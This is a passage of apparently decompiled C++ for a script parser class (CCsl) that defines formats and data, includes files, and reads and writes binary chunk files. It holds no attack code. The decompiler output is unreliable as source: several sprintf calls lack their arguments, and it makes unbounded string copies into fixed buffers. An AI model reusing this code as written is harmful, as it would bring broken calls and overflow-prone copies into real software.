v1->m_pCslParameter, 0x13u); v6 = v5; if ( v5 > 0x11 ) break; v9 = operator new(8u); *((_DWORD *)v9 + 1) = 0; *(_DWORD *)v9 = v6; if ( pParameters ) { ++v2; *((_DWORD *)pParameterLast + 1) = v9; pParameterLast = v9; NumParameters = v2; } else { ++v2; pParameters = v9; pParameterLast = v9; NumParameters = v2; } } if ( v5 == 18 ) break; v7 = (const char *)v1->m_pFormats; v8 = 0; pFormats = v1->m_pFormats; if ( v1->m_NumFormats > 0 ) { while ( _mbsicmp(v4, v7) ) { ++v8; v7 += 76; if ( v8 >= v1->m_NumFormats ) goto LABEL_21; } v10 = (int)&pFormats[v8]; for ( i = 0; i < *(_DWORD *)(v10 + 64); ++NumParameters ) { v12 = operator new(8u); *((_DWORD *)v12 + 1) = 0; *(_DWORD *)v12 = *(_DWORD *)(*(_DWORD *)(v10 + 68) + 4 * i); if ( pParameters ) *((_DWORD *)pParameterLast + 1) = v12; else pParameters = v12; pParameterLast = v12; ++i; } } LABEL_21: if ( v8 >= v1->m_NumFormats ) { ++v1->m_NumFormatErrors; sprintf(RetMsg, "%s - FORMAT DEFINING, UNKNOWNED PARAMATER."); CCsl::AddResultMsg(v1, RetMsg); } v2 = NumParameters; } v13 = operator new(0x4Cu); v14 = v13; *((_DWORD *)v13 + 18) = 0; memset(v13, 0, 0x40u); v15 = (int)FormatBF; do { v16 = *(_BYTE *)v15; *(_BYTE *)(v14 - FormatBF + v15) = *(_BYTE *)v15; ++v15; } while ( v16 ); *((_DWORD *)v14 + 16) = v2; v17 = 0; for ( *((_DWORD *)v14 + 17) = operator new__(4 * v2); v17 < v2; ++v17 ) { v18 = pParameters; *(_DWORD *)(*((_DWORD *)v14 + 17) + 4 * v17) = *(_DWORD *)pParameters; pParameters = (void *)*((_DWORD *)pParameters + 1); operator delete(v18); } return (CCsl::CSL_FORMAT_LIST *)v14; } //----- (0055BD50) -------------------------------------------------------- int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat) { if ( this->m_pFormats ) this->m_pFormatLast->pNext = pAddFormat; else this->m_pFormats = pAddFormat; this->m_pFormatLast = pAddFormat; ++this->m_NumFormats; return 1; } //----- (0055BD90) -------------------------------------------------------- char *__thiscall CCsl::GetDataToken(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@2 char *v3; // edi@2 char RetMsg[512]; // [sp+8h] [bp-204h]@5 v1 = this; while ( 1 ) { v2 = CToken::GetToken(&v1->baseclass_0); v3 = v2; if ( !v2 ) break; if ( !CCsl::ProcRemark(v1, v2) ) return v3; } ++v1->m_NumFormatErrors; sprintf(RetMsg, "DATA DEFINNING, EOF Come"); CCsl::AddResultMsg(v1, RetMsg); return v1->m_pDummyNull; } //----- (0055BE20) -------------------------------------------------------- int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName) { char *v2; // eax@1 char *v3; // edx@1 char v4; // cl@2 CCsl *strsize; // [sp+0h] [bp-4h]@1 strsize = this; v2 = CToken::GetTokenString(&this->baseclass_0, (int *)&strsize); v3 = pFileName; do { v4 = *v2++; *v3++ = v4; } while ( v4 ); return 1; } //----- (0055BE50) -------------------------------------------------------- CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat) { CCsl *v3; // ebx@1 int v4; // ecx@1 unsigned int v5; // esi@1 CCsl::CSL_PARAMETER *v6; // eax@2 void *v7; // ebp@4 void *v8; // eax@4 int v9; // edi@4 int i; // ecx@4 CCsl::CSL_FORMAT_LIST *v11; // edi@7 int v12; // esi@7 int v13; // eax@7 char *v14; // eax@9 char *v15; // eax@10 char *v16; // eax@11 char *v17; // eax@12 int v18; // edx@12 char v19; // cl@13 char *v20; // eax@15 int v21; // edx@15 char v22; // cl@16 char *v23; // eax@18 int v24; // edx@18 char v25; // cl@19 char *v26; // eax@21 int v27; // edx@21 char v28; // cl@22 int pstrsize; // [sp+10h] [bp-14h]@15 char v31; // [sp+14h] [bp-10h]@18 char v32; // [sp+18h] [bp-Ch]@21 char v33; // [sp+1Ch] [bp-8h]@24 char v34; // [sp+20h] [bp-4h]@25 int dwIDa; // [sp+28h] [bp+4h]@7 v3 = this; v4 = pFormat->NumParameter; v5 = 0; if ( v4 > 0 ) { v6 = pFormat->pParameter; do { v5 += v3->m_pCslParameterSize[*v6]; ++v6; --v4; } while ( v4 ); } v7 = operator new(0x10u); *((_DWORD *)v7 + 3) = 0; *(_DWORD *)v7 = dwID; *((_DWORD *)v7 + 1) = v5; v8 = operator new__(v5); *((_DWORD *)v7 + 2) = v8; memset(v8, 0, 4 * (v5 >> 2)); v9 = (int)((char *)v8 + 4 * (v5 >> 2)); for ( i = v5 & 3; i; --i ) *(_BYTE *)v9++ = 0; v11 = pFormat; v12 = *((_DWORD *)v7 + 2); v13 = 0; for ( dwIDa = 0; dwIDa < v11->NumParameter; ++dwIDa ) { switch ( v11->pParameter[v13] ) { case 0: case 1: case 2: case 3: v14 = CCsl::GetDataToken(v3); *(_DWORD *)v12 = atoi(v14); goto LABEL_26; case 4: case 5: v15 = CCsl::GetDataToken(v3); sscanf(v15, "%x"); goto LABEL_26; case 6: case 7: v16 = CCsl::GetDataToken(v3); *(float *)v12 = atof(v16); goto LABEL_26; case 8: v17 = CToken::GetTokenString(&v3->baseclass_0, (int *)&pFormat); v18 = v12; do { v19 = *v17++; *(_BYTE *)v18++ = v19; } while ( v19 ); v12 += v3->m_pCslParameterSize[8]; break; case 9: v20 = CToken::GetTokenString(&v3->baseclass_0, &pstrsize); v21 = v12; do { v22 = *v20++; *(_BYTE *)v21++ = v22; } while ( v22 ); v12 += v3->m_pCslParameterSize[9]; break; case 0xA: v23 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v31); v24 = v12; do { v25 = *v23++; *(_BYTE *)v24++ = v25; } while ( v25 ); v12 += v3->m_pCslParameterSize[10]; break; case 0xB: v26 = CToken::GetTokenString(&v3->baseclass_0, (int *)&v32); v27 = v12; do { v28 = *v26++; *(_BYTE *)v27++ = v28; } while ( v28 ); v12 += v3->m_pCslParameterSize[11]; break; case 0xC: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v33); goto LABEL_26; case 0xD: *(_DWORD *)v12 = *CToken::GetTokenString(&v3->baseclass_0, (int *)&v34); LABEL_26: v12 += 4; break; default: break; } v13 = dwIDa + 1; } return (CCsl::CSL_DATA_LIST *)v7; } //----- (0055C060) -------------------------------------------------------- int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 unsigned int v4; // ebx@1 CCsl::CSL_FORMAT_LIST *v5; // edi@1 int result; // eax@5 CCsl::CSL_DATA_LIST *v7; // eax@6 v3 = this; v4 = 0; v5 = this->m_pFormats; if ( this->m_NumFormats > 0 ) { do { if ( !_mbsicmp(Token, v5->Format) ) break; v5 = v5->pNext; ++v4; } while ( (signed int)v4 < v3->m_NumFormats ); } if ( (signed int)v4 < v3->m_NumFormats ) { v7 = CCsl::MakeData(v3, v4, v5); if ( v7 ) { if ( v3->m_pDatas ) v3->m_pDataLast->pNext = v7; else v3->m_pDatas = v7; v3->m_pDataLast = v7; ++v3->m_NumDatas; } result = 1; } else { result = 0; } return result; } //----- (0055C0F0) -------------------------------------------------------- void __thiscall CCsl::ReadScriptDone(CCsl *this) { CCsl *v1; // esi@1 char RetMsg[512]; // [sp+4h] [bp-204h]@2 v1 = this; if ( this->m_bInclude ) { sprintf(RetMsg, "Include Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "Include Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_598DE4); v1->m_pParentCsl->m_NumFormatErrors += v1->m_NumFormatErrors; v1->m_pParentCsl->m_NumDataErrors += v1->m_NumDataErrors; v1->m_pParentCsl->m_NumFormats = v1->m_NumFormats; v1->m_pParentCsl->m_pFormats = v1->m_pFormats; v1->m_pParentCsl->m_pFormatLast = v1->m_pFormatLast; v1->m_pParentCsl->m_NumDatas = v1->m_NumDatas; v1->m_pParentCsl->m_pDatas = v1->m_pDatas; v1->m_pParentCsl->m_pDataLast = v1->m_pDataLast; v1->m_pParentCsl->m_pResultMsgLast = v1->m_pResultMsgLast; v1->m_pParentCsl->m_dwNumResultMsg = v1->m_dwNumResultMsg; v1->m_pParentCsl->m_pResultMsgs = v1->m_pResultMsgs; } else { CCsl::AddResultMsg(this, (char *)&stru_598DE4); sprintf(RetMsg, "TOTAL Format %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); sprintf(RetMsg, "TOTAL Data %d Defined, %d Errors"); CCsl::AddResultMsg(v1, RetMsg); CCsl::AddResultMsg(v1, (char *)&stru_598DE4); CCsl::MakeFormatTable(v1); CCsl::MakeDataTable(v1); } } //----- (0055C310) -------------------------------------------------------- int __thiscall CCsl::Read(CCsl *this, char *lpszPathName) { CCsl *v2; // ebp@1 void *v3; // eax@1 void *v4; // ebx@1 unsigned int v5; // eax@2 int result; // eax@4 unsigned int v7; // esi@5 void *v8; // esi@11 void *v9; // ebx@12 void *v10; // eax@12 int v11; // esi@15 void *v12; // eax@16 int v13; // esi@16 void *v14; // eax@17 void *v15; // ebx@17 int v16; // eax@17 char v17; // cl@18 void *v18; // eax@19 void *v19; // [sp-Ch] [bp-2Ch]@15 void *pTemp; // [sp+8h] [bp-18h]@11 void *pTempa; // [sp+8h] [bp-18h]@16 unsigned int dwDoneSize; // [sp+Ch] [bp-14h]@9 void *hFile; // [sp+10h] [bp-10h]@1 unsigned int dwFileSize; // [sp+14h] [bp-Ch]@2 PathFindTable *Chunk; // [sp+18h] [bp-8h]@8 DWORD nNumberOfBytesToRead; // [sp+1Ch] [bp-4h]@9 v2 = this; v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x80000000u, 1u, 0, 3u, 0x80u, 0); v4 = v3; hFile = v3; if ( v3 == (void *)-1 ) return 0; v5 = CGdp::GetFileSize(&v2->baseclass_0.m_Gdp, v3, 0); dwFileSize = v5; if ( v5 == -1 ) { CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); return 0; } v7 = 0; if ( v5 ) { while ( CGdp::ReadFile(&v2->baseclass_0.m_Gdp, v4, &Chunk, 8u, (unsigned int *)&lpszPathName, 0) ) { dwDoneSize = v7 + nNumberOfBytesToRead + 8; if ( (int *)Chunk == (int *)((char *)&pathfindtable.pft_table[1877][818].pfc_from.x + 1) ) { v12 = operator new__(nNumberOfBytesToRead + 8); v13 = (int)((char *)v12 + 8); pTempa = v12; if ( !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v12 + 8, nNumberOfBytesToRead, (unsigned int *)&lpszPathName, 0) ) break; v14 = operator new(0x4Cu); v15 = v14; *((_DWORD *)v14 + 18) = 0; memset(v14, 0, 0x40u); v16 = v13; do { v17 = *(_BYTE *)v16; *((_BYTE *)v15 + v16 - v13) = *(_BYTE *)v16; ++v16; } while ( v17 ); *((_DWORD *)v15 + 16) = *((_DWORD *)pTempa + 18); v18 = operator new__(4 * *((_DWORD *)pTempa + 18)); *((_DWORD *)v15 + 17) = v18; memcpy(v18, (char *)pTempa + 76, 4 * *((_DWORD *)pTempa + 18)); if ( v2->m_pFormats ) v2->m_pFormatLast->pNext = (CCsl::CSL_FORMAT_LIST *)v15; else v2->m_pFormats = (CCsl::CSL_FORMAT_LIST *)v15; ++v2->m_NumFormats; v2->m_pFormatLast = (CCsl::CSL_FORMAT_LIST *)v15; v19 = pTempa; } else { if ( Chunk != (PathFindTable *)572662306 || (v8 = operator new__(nNumberOfBytesToRead + 8), pTemp = v8, !CGdp::ReadFile( &v2->baseclass_0.m_Gdp, v4, (char *)v8 + 8, nNumberOfBytesToRead, (unsigned int *)&lpszPathName, 0)) ) break; v9 = operator new(0x10u); *((_DWORD *)v9 + 3) = 0; *(_DWORD *)v9 = *((_DWORD *)v8 + 2); *((_DWORD *)v9 + 1) = *((_DWORD *)v8 + 3); v10 = operator new__(*((_DWORD *)v8 + 3)); *((_DWORD *)v9 + 2) = v10; memcpy(v10, (char *)v8 + 16, *((_DWORD *)v8 + 3)); if ( v2->m_pDatas ) v2->m_pDataLast->pNext = (CCsl::CSL_DATA_LIST *)v9; else v2->m_pDatas = (CCsl::CSL_DATA_LIST *)v9; v11 = v2->m_NumDatas + 1; v2->m_pDataLast = (CCsl::CSL_DATA_LIST *)v9; v2->m_NumDatas = v11; v19 = pTemp; } operator delete(v19); if ( dwFileSize <= dwDoneSize ) return 1; v7 = dwDoneSize; v4 = hFile; } CGdp::CloseHandle(&v2->baseclass_0.m_Gdp, v4); result = 0; } else { result = 1; } return result; } //----- (0055C570) -------------------------------------------------------- int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_FORMAT_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 int *Chunk; // [sp+Ch] [bp-8h]@5 int v9; // [sp+10h] [bp-4h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pFormats; if ( v6 ) { while ( 1 ) { Chunk = (int *)((char *)&pathfindtable.pft_table[1877][818].pfc_from.x + 1); v9 = 4 * v6->NumParameter + 68; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 0x40u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->NumParameter, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile( &v4->baseclass_0.m_Gdp, v3, v6->pParameter, 4 * v6->NumParameter, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (0055C6A0) -------------------------------------------------------- int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile) { void *v3; // esi@1 CCsl *v4; // edi@1 int result; // eax@3 CCsl::CSL_DATA_LIST *v6; // ebx@4 signed int bUseOpenedHandle; // [sp+8h] [bp-Ch]@1 int Chunk; // [sp+Ch] [bp-8h]@5 unsigned int v9; // [sp+10h] [bp-4h]@5 v3 = hFile; v4 = this; bUseOpenedHandle = 1; if ( hFile != (void *)-1 || (bUseOpenedHandle = 0, v3 = CGdp::CreateFileA(&this->baseclass_0.m_Gdp, lpszPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0), v3 != (void *)-1) ) { v6 = v4->m_pDatas; if ( v6 ) { while ( 1 ) { Chunk = 572662306; v9 = v6->dwSize + 8; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &Chunk, 8u, (unsigned int *)&hFile, 0) ) break; if ( !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, &v6->dwSize, 4u, (unsigned int *)&hFile, 0) || !CGdp::WriteFile(&v4->baseclass_0.m_Gdp, v3, v6->pData, v6->dwSize, (unsigned int *)&hFile, 0) ) break; v6 = v6->pNext; if ( !v6 ) goto LABEL_10; } if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 0; } else { LABEL_10: if ( !bUseOpenedHandle ) CGdp::CloseHandle(&v4->baseclass_0.m_Gdp, v3); result = 1; } } else { result = 0; } return result; } //----- (0055C7C0) -------------------------------------------------------- void __thiscall CCsl::ClearFormats(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pFormats ) { operator delete(v1->m_pFormats->pParameter); v2 = v1->m_pFormats; v1->m_pFormats = v1->m_pFormats->pNext; operator delete(v2); } v3 = v1->m_ppFormatTable; v1->m_NumFormats = 0; if ( v3 ) { operator delete(v3); v1->m_ppFormatTable = 0; } } //----- (0055C830) -------------------------------------------------------- void __thiscall CCsl::ClearDatas(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@2 void *v3; // eax@3 v1 = this; while ( v1->m_pDatas ) { operator delete(v1->m_pDatas->pData); v2 = v1->m_pDatas; v1->m_pDatas = v1->m_pDatas->pNext; operator delete(v2); } v3 = v1->m_ppDataTable; v1->m_NumDatas = 0; if ( v3 ) { operator delete__(v3); v1->m_ppDataTable = 0; } } //----- (0055C8A0) -------------------------------------------------------- void __thiscall CCsl::Close(CCsl *this) { CCsl *v1; // esi@1 void *v2; // ST00_4@3 v1 = this; CToken::Close(&this->baseclass_0); if ( !v1->m_bInclude ) { while ( v1->m_pResultMsgs ) { v2 = v1->m_pResultMsgs; v1->m_pResultMsgs = v1->m_pResultMsgs->pNext; operator delete(v2); } v1->m_dwNumResultMsg = 0; CCsl::ClearFormats(v1); CCsl::ClearDatas(v1); if ( v1->m_CslRemarks ) operator delete(v1->m_CslRemarks); v1->m_CslRemarks = 0; } } //----- (0055C920) -------------------------------------------------------- void __thiscall CCsl::Clear(CCsl *this) { CCsl *v1; // ebx@1 void *v2; // eax@1 v1 = this; CCsl::Close(this); CCsl::VarClear(v1); v1->m_pDummyNull = byte_59A24E; v2 = operator new__(0x1Cu); v1->m_CslRemarks = (char **)v2; memcpy(v2, pCslRemarks, 0x1Cu); *(_DWORD *)&v1->m_CslSeprator[0] = *(_DWORD *)", \t\r\n"; *(_WORD *)&v1->m_CslSeprator[4] = word_5DA6F0; *(_WORD *)&v1->m_CslRemarkLine[0] = 59; *(_WORD *)&v1->m_CslRemarkStart[0] = *(_WORD *)"/*"; v1->m_CslRemarkStart[2] = byte_5DA6EA; *(_WORD *)&v1->m_CslRemarkEnd[0] = *(_WORD *)"*/"; v1->m_CslRemarkEnd[2] = byte_5DA6E6; *v1->m_CslRemarks = v1->m_CslRemarkLine; *((_DWORD *)v1->m_CslRemarks + 1) = (char *)v1 + 1088; *((_DWORD *)v1->m_CslRemarks + 2) = (char *)v1 + 1152; v1->m_pCslCmd = pCslCmd; v1->m_pCslParameter = pCslParameter; v1->m_pCslParameterSize = pCslParameterSize; } // 5DA6E6: using guessed type char byte_5DA6E6; // 5DA6EA: using guessed type char byte_5DA6EA; // 5DA6F0: using guessed type __int16 word_5DA6F0; //----- (0055CA00) -------------------------------------------------------- void __thiscall CCsl::_CCsl(CCsl *this) { CToken *v1; // esi@1 v1 = (CToken *)this; CCsl::Close(this); CToken::_CToken(v1); } //----- (0055CA50) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this) { CCsl *v1; // esi@1 CCsl *v2; // ecx@1 v1 = this; CToken::CToken(&this->baseclass_0); v1->m_CslRemarks = 0; CCsl::VarClear(v1); CCsl::Clear(v2); } //----- (0055CAA0) -------------------------------------------------------- void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl) { CCsl *v2; // esi@1 char *v3; // ecx@2 char v4; // dl@3 char *v5; // ecx@4 char v6; // dl@5 char *v7; // ecx@6 char v8; // dl@7 char *v9; // ecx@8 char v10; // dl@9 CCsl thisa; // [sp+8h] [bp-504h]@11 int v12; // [sp+508h] [bp-4h]@1 v2 = this; CToken::CToken(&this->baseclass_0); v12 = 0; if ( pParentCsl ) { v2->m_bEnd = pParentCsl->m_bEnd; v3 = pParentCsl->m_CslSeprator; v2->m_bRemarkBlock = pParentCsl->m_bRemarkBlock; v2->m_NumFormatErrors = 0; v2->m_NumDataErrors = 0; do { v4 = *v3; v3[v2->m_CslSeprator - pParentCsl->m_CslSeprator] = *v3; ++v3; } while ( v4 ); v5 = pParentCsl->m_CslRemarkLine; do { v6 = *v5; v5[v2->m_CslRemarkLine - pParentCsl->m_CslRemarkLine] = *v5; ++v5; } while ( v6 ); v7 = pParentCsl->m_CslRemarkStart; do { v8 = *v7; v7[v2->m_CslRemarkStart - pParentCsl->m_CslRemarkStart] = *v7; ++v7; } while ( v8 ); v9 = pParentCsl->m_CslRemarkEnd; do { v10 = *v9; v9[v2->m_CslRemarkEnd - pParentCsl->m_CslRemarkEnd] = *v9; ++v9; } while ( v10 ); v2->m_CslRemarks = pParentCsl->m_CslRemarks; v2->m_pCslCmd = pParentCsl->m_pCslCmd; v2->m_pCslParameter = pParentCsl->m_pCslParameter; v2->m_pCslParameterSize = pParentCsl->m_pCslParameterSize; v2->m_NumFormats = pParentCsl->m_NumFormats; v2->m_pFormats = pParentCsl->m_pFormats; v2->m_pFormatLast = pParentCsl->m_pFormatLast; v2->m_NumDatas = pParentCsl->m_NumDatas; v2->m_pDatas = pParentCsl->m_pDatas; v2->m_pDataLast = pParentCsl->m_pDataLast; v2->m_dwNumResultMsg = pParentCsl->m_dwNumResultMsg; v2->m_pResultMsgLast = pParentCsl->m_pResultMsgLast; v2->m_pResultMsgs = pParentCsl->m_pResultMsgs; v2->m_pParentCsl = pParentCsl; v2->m_bInclude = 1; } else { CCsl::CCsl(&thisa); CCsl::_CCsl(&thisa); } } //----- (0055CC50) -------------------------------------------------------- void __thiscall CCsl::IncludeFile(CCsl *this) { CCsl *v1; // esi@1 char *v2; // eax@1 int v3; // edx@1 char v4; // cl@2 unsigned int v5; // ST28_4@3 HWND__ *v6; // ST24_4@3 char drive[3]; // [sp+8h] [bp-C20h]@3 int pstrsize; // [sp+Ch] [bp-C1Ch]@1 char CurrDir[260]; // [sp+10h] [bp-C18h]@3 char AbsPath[260]; // [sp+114h] [bp-B14h]@3 char NewCurrDir[260]; // [sp+218h] [bp-A10h]@3 char dir[256]; // [sp+31Ch] [bp-90Ch]@3 char szPathName[260]; // [sp+41Ch] [bp-80Ch]@1 char fname[256]; // [sp+520h] [bp-708h]@3 char ext[256]; // [sp+620h] [bp-608h]@3 CCsl Include; // [sp+720h] [bp-508h]@3 unsigned int v17; // [sp+C18h] [bp-10h]@3 int v18; // [sp+C24h] [bp-4h]@3 v1 = this; v2 = CToken::GetTokenString(&this->baseclass_0, &pstrsize); v3 = (int)szPathName; do { v4 = *v2++; *(_BYTE *)v3++ = v4; } while ( v4 ); GetCurrentDirectoryA(0x104u, CurrDir); _fullpath(AbsPath, v1->m_ScriptFN, 0x104u); _splitpath(AbsPath, drive, dir, fname, ext); sprintf(NewCurrDir, "%s%s"); SetCurrentDirectoryA(NewCurrDir); CToken::SaveTokenPositon(&v1->baseclass_0); CCsl::CCsl(&Include, v1); v5 = v1->m_UseMsgID; v6 = v1->m_hWnd; v18 = 0; CCsl::ReadScript(&Include, szPathName, v6, v5, 0); CToken::RestoreTokenPositon(&v1->baseclass_0, 0); SetCurrentDirectoryA(CurrDir); v18 = -1; CCsl::_CCsl(&Include); __security_check_cookie(v17); } //----- (0055CDB0) -------------------------------------------------------- int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet) { CCsl *v3; // esi@1 int result; // eax@2 CCsl::CSL_FORMAT_LIST *v5; // eax@3 void *v6; // eax@14 void *v7; // edi@14 void *v8; // edi@21 CCsl::CSL_FORMAT_LIST *v9; // ebx@22 void *v10; // edi@33 CCsl::CSL_DATA_LIST *v11; // ebx@34 const char *v12; // [sp-8h] [bp-32Ch]@18 const char *v13; // [sp-8h] [bp-32Ch]@28 DWORD NumberOfBytesWritten; // [sp+10h] [bp-314h]@23 int *Buffer; // [sp+14h] [bp-310h]@23 int v16; // [sp+18h] [bp-30Ch]@23 char szPathName[260]; // [sp+1Ch] [bp-308h]@9 char RetMsg[512]; // [sp+120h] [bp-204h]@11 v3 = this; switch ( CToken::IsTokenID(&this->baseclass_0, Token, this->m_pCslCmd, 0xAu) ) { case 0u: v3->m_bEnd = 1; return 1; case 1u: v5 = CCsl::MakeFormat(v3); if ( !v5 ) return 1; CCsl::AddFormat(v3, v5); return 1; case 2u: CCsl::IncludeFile(v3); return 1; case 3u: CCsl::ClearFormats(v3); goto $L64606; case 5u: $L64606: CCsl::ClearDatas(v3); return 1; case 4u: CCsl::ClearFormats(v3); return 1; case 6u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; if ( CCsl::Read(v3, szPathName) ) { sprintf(RetMsg, "%s - READ OK"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } else { ++v3->m_NumDataErrors; sprintf(RetMsg, "%s - READ ERROR"); CCsl::AddResultMsg(v3, RetMsg); result = 1; } return result; case 7u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v6 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); v7 = v6; if ( v6 == (void *)-1 ) goto LABEL_18; if ( CCsl::WriteFormat(v3, 0, v6) && CCsl::WriteData(v3, 0, v7) ) { CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v7); v12 = "%s - WRITE OK"; goto LABEL_44; } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v7); LABEL_18: v12 = "%s - WRITE ERROR"; goto LABEL_43; case 8u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v8 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v8 == (void *)-1 ) goto LABEL_30; v9 = v3->m_pFormats; if ( !v9 ) goto LABEL_28; while ( 1 ) { Buffer = (int *)((char *)&pathfindtable.pft_table[1877][818].pfc_from.x + 1); v16 = 4 * v9->NumParameter + 68; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, v9, 0x40u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v8, &v9->NumParameter, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile( &v3->baseclass_0.m_Gdp, v8, v9->pParameter, 4 * v9->NumParameter, &NumberOfBytesWritten, 0) ) break; v9 = v9->pNext; if ( !v9 ) { LABEL_28: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); v13 = "%s - WRITE FORMAT OK"; goto LABEL_31; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v8); LABEL_30: ++v3->m_NumDataErrors; v13 = "%s - WRITE FORMAT ERROR"; LABEL_31: sprintf(RetMsg, v13); CCsl::AddResultMsg(v3, RetMsg); return 1; case 9u: if ( !CCsl::Parameter_filename(v3, szPathName) ) return 1; v10 = CGdp::CreateFileA(&v3->baseclass_0.m_Gdp, szPathName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( v10 == (void *)-1 ) goto LABEL_42; v11 = v3->m_pDatas; if ( !v11 ) goto LABEL_40; break; default: return 0; } while ( 1 ) { Buffer = (int *)572662306; v16 = v11->dwSize + 8; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, &Buffer, 8u, &NumberOfBytesWritten, 0) ) break; if ( !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, v11, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, &v11->dwSize, 4u, &NumberOfBytesWritten, 0) || !CGdp::WriteFile(&v3->baseclass_0.m_Gdp, v10, v11->pData, v11->dwSize, &NumberOfBytesWritten, 0) ) break; v11 = v11->pNext; if ( !v11 ) { LABEL_40: CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v10); v12 = "%s - WRITE DATA OK"; goto LABEL_44; } } CGdp::CloseHandle(&v3->baseclass_0.m_Gdp, v10); LABEL_42: v12 = "%s - WRITE DATA ERROR"; LABEL_43: ++v3->m_NumDataErrors; LABEL_44: sprintf(RetMsg, v12); CCsl::AddResultMsg(v3, RetMsg); return 1; } //----- (0055D210) -------------------------------------------------------- int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory) { CCsl *v5; // esi@1 int v6; // eax@2 char *v7; // eax@9 char v8; // cl@10 char *v9; // eax@12 char *v10; // edi@12 int v11; // edx@18 int result; // eax@18 char *v13; // [sp-14h] [bp-220h]@20 const char *v14; // [sp-10h] [bp-21Ch]@20 char *v15; // [sp-4h] [bp-210h]@6 char RetMsg[512]; // [sp+8h] [bp-204h]@6 v5 = this; this->m_hWnd = hWnd; this->m_UseMsgID = UseMsgID; if ( pMemory ) v6 = CToken::OpenFromMemory(&this->baseclass_0, (char *)pMemory); else v6 = CToken::Open(&this->baseclass_0, lpszPathName); if ( v6 ) { if ( v5->m_bInclude ) { CCsl::AddResultMsg(v5, "---------------------------------------------------------------"); sprintf(RetMsg, "Include - %s "); CCsl::AddResultMsg(v5, RetMsg); v15 = "---------------------------------------------------------------"; } else { CCsl::AddResultMsg(v5, "================================================================================"); sprintf(RetMsg, "FILE PROCESSING - %s "); CCsl::AddResultMsg(v5, RetMsg); CCsl::AddResultMsg(v5, "================================================================================"); v15 = (char *)&stru_598DE4; } CCsl::AddResultMsg(v5, v15); if ( lpszPathName ) { v7 = lpszPathName; do { v8 = *v7; v7[v5->m_ScriptFN - lpszPathName] = *v7; ++v7; } while ( v8 ); } 